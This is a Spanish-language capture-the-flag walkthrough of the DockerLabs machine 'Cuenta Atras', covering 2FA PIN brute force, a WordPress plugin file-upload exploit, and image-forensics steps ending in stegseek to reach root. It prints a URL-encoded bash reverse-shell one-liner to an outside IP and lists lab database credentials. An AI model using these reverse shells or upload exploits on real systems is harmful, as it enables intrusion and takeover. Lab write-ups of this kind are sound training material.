Cuenta Atras, DockerLabs
Herramientas y recursos
En este reto de DockerLabs vamos a explotar dos vulnerabilidades web una es un segundo factor de autenticacion y la otra una explotacion de wordpress.
| Tecnicas | Herramientas |
|---|---|
| scan de puertos | nmap |
| Fuerza bruta automate | caido |
| Enumeracion Wordpress | wpscan |
| Subida de ficheros | CVE-2026-1357 |
| revshell | urlencoded |
| decode | md5 base64 |
| esteganografia | stegseek |
| lectura de datos en imagenes | xxd |
| extaccion de datos | dd |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX cuentaatras
Como muestra el reporte tenemos el **el 22 ssh y el 5000 ** , entramos a la web y vemos que necesitamos crearnos una cuenta.
Una vez registrados vemos la ventana de para introducir el codigo del segundo factor , esa es la que capturamos con caido para realizar el ataque de fuerza bruta.
Como vemos en la primera capturta de abajo obtenemos un found pero cambia el content lenght señal de que acerto , no acabo de entender porque esta vez a cambiado el codigo de estado un pin antes del correcto en otras pruebas el primer found 302 era el correcto.
Como ya tenemos la cuenta activa nos dirijimos a la parte secret y vemos que se trata de un wordpress , sin mas demora le tiro un wpscan incluimos la cookie.
1
wpscan --url http://172.17.0.2/secret_portal_65hBlEo9OU --cookie-string "PHPSESSID=c4eupk1a7mhvknh54m8guu0557" --api-token b0KsvzZfj1Ye5KZ8YKHXXXXXXXXXXXXXXXXX --detection-mode aggressive --plugins-detection mixed -e u,vp
Nos encontro wpvivid-backuprestore que permite la subida de ficheros sin autenticacion.
Buscamos a ver si hay exploit publico exploit ejecutamos como se indica en el manual.
Si nos fijamos en la imagen ya hemos subido una shell en la captura se ve subrayado la ruta donde se subio el fichero y podemos ejecutar ya comandos via web.
Para seguir nos vamos a mandar una revshell y inspeccionar que es lo que hay para ello la urlencodeamos
1
bash+-c+%27bash+-i+>%26+/dev/tcp/192.168.18.14/1188+0>%261%27
Infiltracion y escalada
Obetemos la revshell
Cansado pero no rendido
Este segundo intento no me esta llendo mejor quedo atorado en el mismo lugar , al inicio de la jodida escalada asi que listo todos los intentos que no me dan resultado(no se que paso algo por alto, a ver si ayuda la lista).
- sudo -l > pide pass
- find > nada interesante ni buscando cadenas con grep passwd pass etc…
- permisos erroneos > nada
- procesos con ps aux > nada
Como nota positiva tengo 3 usuarios del sistema y acceso al panel de adminitracion de wordpress al adquirirla desde mysql y decodearla pq estaba en md5.
- bond
- ethan
- webmaster
Tambien he revisado los ficheros de las configuraciones para bbdd.
- Web de login : $db = ‘ctf_db’; $user = ‘ctf_user’; $pass = ‘ctf_pass’
- Wordpress : ( ‘DB_NAME’, ‘wp_db’ );( ‘DB_USER’, ‘wp_user’ );( ‘DB_PASSWORD’, ‘wp_password’ ) from md5 admin123321
Sigamos con la escalada
Volviendo a revisar todo lo del user www-data me encuetro un archivo que al principio pase por alto copy2321_.php aun viendo su contenido , este tiene una cookie que nunca me dio por decodearla la cual si la decodeas es el pass de ethan.
Si tiraba a entrar directo por ssh se aplicaba un logout inmediato a los tres segundos imagino que lo que he hecho con su tambien se debe poder desde ssh .
acceso
1
su ethan -c "bash --noprofile --norc -i"
- ejecuta bash sin profile y sin cargar ningun bashrc y si os fijais en la imagen de abajo podeis ver como lo ha hecho:
Despues de un rato lo unico interesante es una imagen que no es imagen pero si es imagen , vamos que han mezclado datos incrustado cabeceras de png cuando es jpg y aparte algo de basura segun he entendido.
Nos llevamos la imagen a nuestro pc y empezamos a ver que mierda contiene (mal vocabulario pero hacia tiempo que no me rompia tanto la cabeza bendito puzzle nos a dejado el creado mis respetos).
Lo primero que hago es lanzar un file y un strings y file solo apoto data y strings nada de nada. Para empezar a trabajar me hice una copia con extension .bin
Lo primero interesante que se ve es que las cabeceras dicen ser png
Ahora tratamos de buscar el IEND del png con el siguiente comando xxd captura3.bin | grep -i “49 45 4e 44” -A 5 -B 5 cosa que no aparece.Como estamos usando xdd que lo tranforma a hexadecimal y se sabe que el png tiene estructura definida por eso se usa el grep juntioa esos valores que se traducen a asci como IEND. Hasta ahora sabemos que el png no finaliza asi que pasamos a buscar el ultimo chunk conocido que es una unidad de datos estructurada.
Buscamos el chunk
1
xxd captura3.bin | tail -20
Ahora hemos comprobado que el final acaba con un marcador de jpg ff d9 por tanto estamos ante un jpg legitimo pero corrompido con datos png para marearnos al maximo nivel (al menos a mi). Ahora si tratamos de xtraer la parte del jpg:
Buscamos el inicio del jpg que corresponde a ff d8
1
xxd captura3.bin | grep -n "ff d8"
No nos devuelve nada asi que buscamos ff db
-
ff d8 indica a cualquier visualizador (como el visor de fotos de Windows o Chrome) que, a partir de este punto, comienza un archivo JPEG. Si falta: El sistema operativo ni siquiera reconocerá el archivo como una imagen. No podrá abrirlo porque no sabe qué tipo de contenido es. vamos soy un jpg
-
ff db no indica el inicio del archivo, sino cómo se debe descomprimir la imagen , se le llama tabla de cuantificacion y le inidca al software que partes fueron descartadas y te lo muestra de forma imperceptible al ojo humano.
Como no tiene indicador de inicio buscamos el de cuantificacion.
1
xxd captura3.bin | grep -n "ff db"
Una vez identificado extraemos el contenido que nos interesa con dd
1
dd if=captura3.bin of=parte.jpg bs=1 skip=18
- bs le indicamo que trabaje de byte y con skip 18 estamos saltando la parte de la cabecera falsa png recordemos que cada XX es un byte
En principio creia que ya estaba pero no si despues de esta cirujia ejecutamos un file no s sigue diciendo data asi qeu vamos a ver como esta la cabecera de nuestro fichero.
1
xxd parte.jpg | head -20
Como vemos se nos quedaron dos bits al principio asi que a volver a cirujear el fichero.
1
dd if=parte.jpg of=parte_limpia.jpg bs=1 skip=2
Volvemos a comprobar como quedo.
En este punto solo le falta lo que hablamos al principio de este problema el ff d8 para que los ordenadores sepan lo que es.
Para ello creamos un nuevos fichero con todo unido añadimos al principio el ffd8 y al final con cat y las redirecciones.
1
2
echo -n -e "\xff\xd8" > imagen_final.jpg
cat parte_limpia.jpg >> imagen_final.jpg
Comprobamos que dice file y si todo esta bien ya podemos ver la imagen y espero que no haya sido un rabbit hole.
Solo espero que esconda la pass de siguente.
y si estamos de suerte y por fin la liquido nos dan un pass dentro de la imagen.
1
stegseek imagen_final.jpg ~/Descargas/rockyou.txt
leemos el fichero extraido y nos hacemos root
Hasta aqui esta maquinaza que me ayudo a aprender sobre hex y valores de las imagenes y ademas que no hay que despreciar ninguna cookie o posible pass que veamos, me costo un poco pero divertido el apredizaje en cuanto a las imagenes.
saludos


















Comments powered by Disqus.